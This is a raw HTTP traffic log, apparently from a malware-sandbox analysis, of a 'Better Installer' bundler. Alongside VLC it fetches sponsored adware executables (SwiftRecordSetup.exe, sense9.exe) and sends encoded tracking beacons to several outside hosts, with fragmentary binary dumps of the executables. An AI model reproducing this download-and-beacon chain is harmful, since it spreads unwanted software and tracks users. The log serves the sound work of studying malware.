GET /5852.ashx?e=G4i9JF3YhSaBXOBJ2d DUUDK0sckRQdKQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMa6gU8td2K6CG4xOauimAJ5w8oUQy9Dy2pTU712iqhsWjQlB3kfGAhd3h70Rdi1/mLeCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS JCt 1flRJrt9ecNw3qM44/lSIKq0UdoUdMm3hqMstJ/y06twORtLg9fHR9A6p3upOM0S4XWXQNckrM9d9qKvEIr3HFOHwspCpHCT5GIrHKeu8rYnA8EzX4JIE87/jfWsid6KRE16wYsqtKrDF7mr6U IgqjBtPrQZNslBbwbrzm8HqzDlA5LEOcQDW2ub8rgHR1BOlQeSG TPkAVkd2bb1HMP2IfnNA/cEXCuD7ISRf2T mvjIH/Ay5ismV6Zmv0elWnPCijCkMjOCgw2BVJmqqAREsAc88Fmq6Wr4EL4IXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:59 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=8592247-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2253 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.75 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:45 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.75 ms","message":"store 2 ac
tion and 4 update "}..0..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5555938456927323 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 0-523263/523264
Content-Length: 523264
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......c.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=17184493-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:54:53 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 22912657
Connection: close
Content-Type: application/octet-stream
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D
<<< skipped >>>


GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.5453487080878292 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:40 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.5002119269017993 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&0.481657073837046 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:56:00 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:56:00 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=14320411-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 8592246
Content-Range: bytes 14320411-22912656/22912657
Connection: close
Content-Type: application/octet-stream
8.....H...p..%...yOL...Q..q...E.......B.k......S!....I...H.B.<N...@
.E --..7.Uy..w.|.&...xDR... ....8W....J.1.4.....8^D.....\.q.....N(B.gK
.......9...).4.x}n...E.g.:.?.. W.qg.....T...l.....tpU.w>.?`.......-
/..2.d%.!Pj..yB..!..8....u.}.K.3.p......J.....9.......s.]..or.2%.p.z[.
yQ"..6.R.'........X_.....4.R.".oV.f.p...........9.....w..A$B...q..(..I
..d.W...-~.N..[....Y......X_..=2vX.....:k`L.*X=...fb.,i...5.P......o].
..<..u.B.D..;...R.!M..B.....8.Ei...&.....2.F.ZW...6~0.nY2..W.eb....
.....*.....8.....4..YG.......hQ....w..fb.......j...#.....\....bGS....5
..........t)}A..X?........|................Vq.%..{...s}..I.....e..X(..
.........%K..NZ.,.~.^ T..FL{X .1.<.......'..D\F..L...xzU*..........
"....vN..7.~v..j.7...v.].[I..I....._.F....F.......2....Q|].....M..I..l
...&u3...3......o...A.i..a.W.A..Y.hs..b...Ls..z......?.H.a. ..p....N..
.}m.]v..`.5..V]'.. [email protected]|.........U.....|.1B...........
....)[email protected]...........?}.>.N.J.Z.US._A{@.zs9..1.{.". ..$fC4A./......
m|......!...../6rO&M........P...!..T#..o..p......7..'[email protected]..
$......l2.S..E..jB{2#"*_.....g.b.2.(..L..b..\........~.,&...2.....%.7.
......r.q...g.....6."d.W.)j..i..aW......L....s...X.s..!...I.."...U. ,.
j...x$.7:H.IVW..Y...-9O..7t.e.d..\..g...a.. ...&. C......,..P....0.Aa(
xn]W.b.4...i..U.T...B}....=c.s....&....gZ.%..n.x=$v.s.'.......8din....
....f..D.......X..d.....f.B....3....l.....V.`.....m..R.m]..z..It.;.sY.
....{G.S($...~.9n..d...x....\..4>..H.'.......^...YnN\P.w...@W_.....
o..{...L.z..$....0.1.)y...t..L.K".i=..|W,e......]%.'... ..<....
<<< skipped >>>


GET /app/ping.ashx?e=aL/yzOcQGPmBXOBJ2d DUW7rrItCiBUN 0R MP RL3VKgFoRkIu6RpNh8S9i4d0H4aw6mg0j 6g 8IXJ3hY2bZzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjbySACEkHjen4nfgxruy9iJmM72Wj5zQdl8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vunew/6f/ygSt pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6uZP /RqMPfI= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:59 GMT..Content-Length: 0......


GET /app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjIYcggkJzwO295MROQWA/L8FbMnlffEMkBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B91VxU5oATOVFHdk/gnZ pY= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:59 GMT..Content-Length: 0..



GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:49 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049700"
Last-Modified: Sun, 26 Apr 2015 12:01:40 GMT
Cache-Control: max-age=367
Content-Length: 250000
Content-Range: bytes 0-249999/12501386
Content-Type: application/x-msdownload
X-HW: 1430092549.dop018.am4.t,1430092549.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p..........8C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected].
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



.u. y....9..p.0...n..!.e**....?...}o..}|t~...T.##V$...H .....5Q.......
..7..^....v.m.S"v\#....T..04;..........$.x..]..~^nQ...^^...Y..s.t.7...
$.rb...rX...l%..h4;5m..... ...:.N...........sa...FWV.Nc....|u.'....%..
g......h.H...V.......E...s5........m.U.#..'.....U..0>..G..|......t|
.>c.W:.F....j...0...ju. ..n.f..L.F..*.5.%.......[......H..1o;.F...3
..u9...r5...g.T.:n..........:...=. '....W...._.{..[......Dn....E...4|.
585.j....'..I......c]9........>X..%lgwi.>|H.g.........!C........
.$=..>..4.K...1..7p....0g.:... Z.p..........v..Aor.HG.....7..m.5...
\.*A..........D..N..lh...... d.D.<`.0....Y..8.....\..5y.6.t.;...;..
...zK...F..RE.(......U..`....[..Q......ALy1I...%..XV..>/...s.:..L..
...8.U...3a......5...x..cj..~P7...I`..5...wzq..c...Yi....!...'H......`
y`.....C.j...`;.....[ .Uk..Lqs...oqZ.[..X... ..xw..B&....p.0-.d.\Q/..4
.E..g...}......$.....L&$....L.....)cw...K..W{P...;..Z..x.N.Q..<k...
..m...m..f....Q1:.$.a.B..:...i..%.>?q.f5U.B../....N.".m<...3\.C]
n..2.~./[email protected]. ...p.|.j5W.9W..6)F\.....~.I......x}]...h...C.d..
{Z.D,..m.Vn..d.Y3v.C."k..5jU[..C\.......u.x?..lV..*e..."..#...3..2..Q.
...1...'8Y.....l......!.l.z.GR..1v..=..:V....O....tI..e..q#.:..C9.....
Io.......>.u...........d.|S.4B..&y.i.......0".FOB...........P.>&
gt;k._.i...I.....2n....v........?i.H..[.U..,.637Om..2..6.X.. .........
..L.........G._..d... q..'...V._...7'..EHl....,. V ....G.(..i..L.G.(FD
...f<......../!.........KdO.....4H.A.....`..B...T.BH. ....>"..N|
..]lo..|-a.\G..C.3....0.M............k....../A .......7k...Y.X.K.=
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



..|[email protected].$...y..k...s...j$d..QW..R...q..1hNw..%.V..W)......
X..>...-..3.........n....K...>`".&Q..Z.....X.ONEL.t....|..p....?
...L....w....7..!_....<r.Fg;.-.....U=pJ.#....#....C..WF.{...Cp>B
S?R.o.....*....%.U.Y.....n;..a....=...0.>W.J.E|...~..fl..^S...[.".]
...!..f......].#.O....`..|b..._f...2s'.....E...M....VGF."}..B.....-...
.~m@O..=...j..0T.....e.q..>#.g..*.....;...<...o-..5..jc.Z..fA.Y.
..4r.Y.D........Q6......5.....$fp|..................`.G.P..55.G..T.Ox.
.).$......I P8....|d[.u.N.t...a..3......N..?~..t..P...t....5.b.2I.d..2
8L....u.%.j.6..2....15../.R O..7.p..../...."[email protected]./.....;H.d
....p.t....V...1.%.k.....k.]H..q.QEF.v4.....y...-5...B...Vp..j........
..m......&e....P>.... &.I7.D/...j.. .............H.?7..>........
..d.#I5k.....O......y..p.K... .....\....>....0......r.._.3....$...d
z..Hx.K....mJ9..#m.I./.L.....r.d=....?.......[...w.'.,G.%...z...?.....
...w.,..D.;k .6....jJ.F..Ju..A..b..d....x.....A..G ...r&.-.}(..t.O...t
}.).H)P..@........`..\;..>l=...g:Jk@...).......=....Y.k..~).......5
@e.Cv.. ...@._u.....U...........0.%.y.y.$VN....}(.LL.#>.a....]....g
g...U.59..\...B.......k.].{D.....O..I.5.. ..3F."..:.G.6....3.L..{.>
. .I...6D*f...b....1.M..I<*...ke.....YF.R7.9=h{k...S.0.....}.U.S...
....s.(..2...O{...j....t...5....:[email protected].....&l
t;os..^]V....W.;....hn.......Q....k./... .Z..Y#.a H..xd.._...R...w ...
.K.9S..(..*........f-....l...#...l.Bw.&....@.<....S.9......?.;..{..
...R......2E.>`.....NRV:..m.O&]p`/.....h..-....1...pg..........
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



w.b.W....W..n.b..........r~.o.U.bj....-.......UA..\..c.}....|.A<..o
.Z......N...9...s.....uA.fNze@:.t...|1.[....#!9.......U.n..}.Mk..`.}.(
4.^.,.....Bw..~..9w..........!.mx;CH..^]..(t..N... ,n....>..9.,",..
.A?~Y....:.{.J. .{U&.S\."..$D&...i^.0..wU ?v...*}.)...B3\3...s....9Q.G
...]=.>.V-.....\...$T....g4..ppwL.>..h..=.......XW.lXC...s......
.3...z..~.i...........4....]..b...,^%..jk...*..=J.].....(.:.Y..i..6...
^.....ZD.1kI(N...{8C..c.%~5..........8.9oo.G......._.<....c.].../..
m..{..b...M?......qY...h..4.....:..P. ..:...'8..6mBp........P,.B...Sok
..A...Z9.........;J...2.6..vf.51.E.w84.h...K..).U7cgB..p.......h....P.
\o.....9.....N......Z.....&..*9i....k..H.!.h..9...X..z[..]AFH.........
4....?..."....m.........y...[ .Bm..?2..#.h....^.2.\..>..3......;D..
!..3......^..#..SJsU/0..............$.?U.!N.(.V.^2......./....-.L....c
.uJ..9.d..H.i. ....%U..s&....4.:....-...Mf...$5P.nr......V9..|j..:..ef
....9......5.7..>............*.d}.../m......W...<..-g..t.%..50..
..zr_g...v..GE.h.......j......I..g9.;.X....ykwZ...g{h..M...>L.h(s..
.W..V~..........P.poZ.....wY..U\.e....9e..J...FA.....$P..s....k......z
.....d....1..u..#c.0. .........z...\....).l...%....V..PSP.Df[ia.eQ_...
.K.....6....<...K!<k..-....l..."!....\r...&hM......e.q2..Ia. .;.
,...8........,.X."...:)9.............C#l..D...-..I.-[.;....Z..nz......
....8.$..*r.7.%...4z..?N&_Vm..%p.h......hxG5.........b....i..zP.......
v...e.^......1.....X.c..{....D!C..{...L.A......}z.h}bS`@F..... o?.~R..
S..]Z.M.].H...6..$X.UR...G;..T...L. *.Bw...J..V:...y.5.e4..h.7...y
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:51 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1430049700"
Last-Modified: Sun, 26 Apr 2015 12:01:40 GMT
Cache-Control: max-age=365
Content-Length: 250000
Content-Range: bytes 6000000-6249999/12501386
Content-Type: application/x-msdownload
X-HW: 1430092550.dop018.am4.t,1430092551.cds060.am4.c
Content-Disposition: attachment; filename="sense9.exe"
..Z...q.....[Q.!...b..L.['.~...M.F4N........t....L...p.D...*....T8..\I
E.o.........3.!2....y......t.{......B.......:n|# .=sV.R.C..*upq..i3...
;.U,..td..T..HHzl/#.&..H&.:.>.w.?J>.s.8.1XX...Pk..!pn.....FE...[
P..7Y..{Z../;r.D..XBDY.7E..H.:.b..$#Y.D.'.....I....O..N,X...X.K.T.2...
....a.8T...m"p.xc.]....Q......../.5....m..5.}.P.....|...........,kv...
Z..O."..oy<P...u.>....z...F...3.kKJO..R.....J....pg[>.]..".o-
~.A..Iz.KN.%...Ox....`....].Oc.Tw..Av}T....R..C'..e.O...ac/K.f...\6...
.f..m~N.> ..l...7OV...l..H.I..$'[email protected]........
.u.....d..J&....3.:.ZA......\.4.:.......v....I.........{..%t...P......
..H0.....8...$....)......1..o<..UZ..S.M..^....Q...ks.,G...B.#R,...E
...>I.Be...<? H..Q.2wq.......Z.}Q..b...s.Tg.cd.}..>g.....o...
\...J.....V8F..`G.N.. ...c.........yy..(......M..{..S.!k8.jLa....Zk.t.
.|.o*;.l....W.N........M\@....>....1^...TK...p*U..6..........I..}H,
T5...y1b.:.\;...o.;Y..Ns.,%.{$.....62.}.i...=........)....E....Q...$!C
W..g...q..7......xVg<...&..x.1...<...o...R-..3...7...PC.6..s=.x.
....b,.M....q...<dy5L.4mE....40...71z..... K....p'....Sn.M.lA.j..Z.
.I...9..&~gX......v....U.X&.e.7...L....,.j...?....?.ED....[..)...\2...
.P.....C..JI..r.r.n.>..kB...2Q_#..@[...2R}(>....6g..y..h.......`
.....-..)/....\.......5cA<.......H...k.Gk..d.6....n.u.'/....k.R... 
c.<(gI..?C;S.|.t....n..j.x`_....'5U..8[.m....#.:..R.W..7.4...n.E...
~...o[E.6.1...........O...,.L.....H}...H...6.........j..f>..\.V..pa
(;.:,.N...Q}....9.]...6.Lp..S.R6&......(.F.i-.....y.S.Oc.sfe..9...
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



...


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=8000000-8249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



.Z......F.... VZ.'......r..r-..Y{D.....VDj.......#.....(.v...i.e...K0E
L......p..Yq.^9$..U:.$....J#Pq.=.:u@..[2..y..).....\3ph....-zg ......\
.... ......... .%Z.Q..FD[;.w...R....p.qf.PY.&c.k..3.a..`.b...3..tE..font>..


GET /spd/shopp/sense9.exe HTTP/1.1


Range: bytes=9250000-9499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1
Range: bytes=9500000-9749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dl.ourinputinfonet.com
Connection: Keep-Alive



YY\0.....>.......i..........|/JY.....J.....'!a.].@./...pWK.........
=..t....`.....5.6q......&....E2[n...{A...:>e0.)9Tq..j....X....C....
............g....`Ro.........GL....M..;...6#}.A..*^.={\...K.......5X.'
